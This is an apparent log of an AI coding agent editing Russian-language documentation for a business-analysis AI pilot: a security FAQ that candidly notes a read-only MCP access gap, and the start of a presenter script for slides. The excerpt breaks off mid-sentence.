\u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\",\n[2026-09-29T07:55:55.712Z] [INFO]     \"structuredPatch\": [\n[2026-09-29T07:55:55.712Z] [INFO]       {\n[2026-09-29T07:55:55.712Z] [INFO]         \"oldStart\": 423,\n[2026-09-29T07:55:55.712Z] [INFO]         \"oldLines\": 12,\n[2026-09-29T07:55:55.712Z] [INFO]         \"newStart\": 423,\n[2026-09-29T07:55:55.712Z] [INFO]         \"newLines\": 22,\n[2026-09-29T07:55:55.712Z] [INFO]         \"lines\": [\n[2026-09-29T07:55:55.712Z] [INFO]           \" \",\n[2026-09-29T07:55:55.712Z] [INFO]           \" ### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\",\n[2026-09-29T07:55:55.712Z] [INFO]           \" \",\n[2026-09-29T07:55:55.712Z] [INFO]           \"-\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"-\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"-\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"-\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"-\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+[ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md).\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+Endpoint Mango AI \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u043b\u0438 VPN. \u041a\u043b\u044e\u0447\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442. \u041f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b,\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0442\u0430\u043a\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438\u0434\u0443\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+PR \u0432 Source \u0438 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439.\",\n[2026-09-29T07:55:55.712Z] [INFO]           \" \",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u041f\u0440\u043e\u0431\u0435\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0434\u043e \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0441\u0430\u043c\u0438\u043c: \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb \u0434\u043b\u044f Jira \u0438 Confluence\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u0447\u0435\u0440\u0435\u0437 MCP \u0441\u0435\u0439\u0447\u0430\u0441 \u2014 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430. Hook \u043f\u0430\u043a\u0435\u0442\u0430 Cline \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u043b\u044e\u0431\u043e\u0439 MCP-\u0432\u044b\u0437\u043e\u0432, \u0440\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u2014 \u0440\u0443\u0447\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u043c\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+([\u0413-12](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-12)).\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u2014 allowlist \u043f\u0430\u0440 \u00ab\u0441\u0435\u0440\u0432\u0435\u0440/\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u0412\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043a\u043e\u0434\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0441\u0430\u043c\u0430.\",\n[2026-09-29T07:55:55.712Z] [INFO]           \"+\",\n[2026-09-29T07:55:55.712Z] [INFO]           \" ### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\",\n[2026-09-29T07:55:55.712Z] [INFO]           \" \",\n[2026-09-29T07:55:55.712Z] [INFO]           \" \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\"\n[2026-09-29T07:55:55.712Z] [INFO]         ]\n[2026-09-29T07:55:55.712Z] [INFO]       }\n[2026-09-29T07:55:55.712Z] [INFO]     ],\n[2026-09-29T07:55:55.712Z] [INFO]     \"userModified\": false,\n[2026-09-29T07:55:55.712Z] [INFO]     \"replaceAll\": false,\n[2026-09-29T07:55:55.712Z] [INFO]     \"contentNotInModelContext\": true\n[2026-09-29T07:55:55.712Z] [INFO]   }\n[2026-09-29T07:55:55.712Z] [INFO] }\n[2026-09-29T07:55:57.701Z] [INFO] {\n[2026-09-29T07:55:57.701Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:57.701Z] [INFO]   \"message\": {\n[2026-09-29T07:55:57.701Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:57.701Z] [INFO]     \"id\": \"msg_011CfXNXzdyCp51htuBrcg98\",\n[2026-09-29T07:55:57.701Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:57.701Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:57.701Z] [INFO]     \"content\": [\n[2026-09-29T07:55:57.701Z] [INFO]       {\n[2026-09-29T07:55:57.701Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:55:57.701Z] [INFO]         \"id\": \"toolu_015CVKEyM25jYyyEDgGxZxXJ\",\n[2026-09-29T07:55:57.701Z] [INFO]         \"name\": \"Edit\",\n[2026-09-29T07:55:57.701Z] [INFO]         \"input\": {\n[2026-09-29T07:55:57.701Z] [INFO]           \"replace_all\": false,\n[2026-09-29T07:55:57.701Z] [INFO]           \"file_path\": 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\\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- **\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 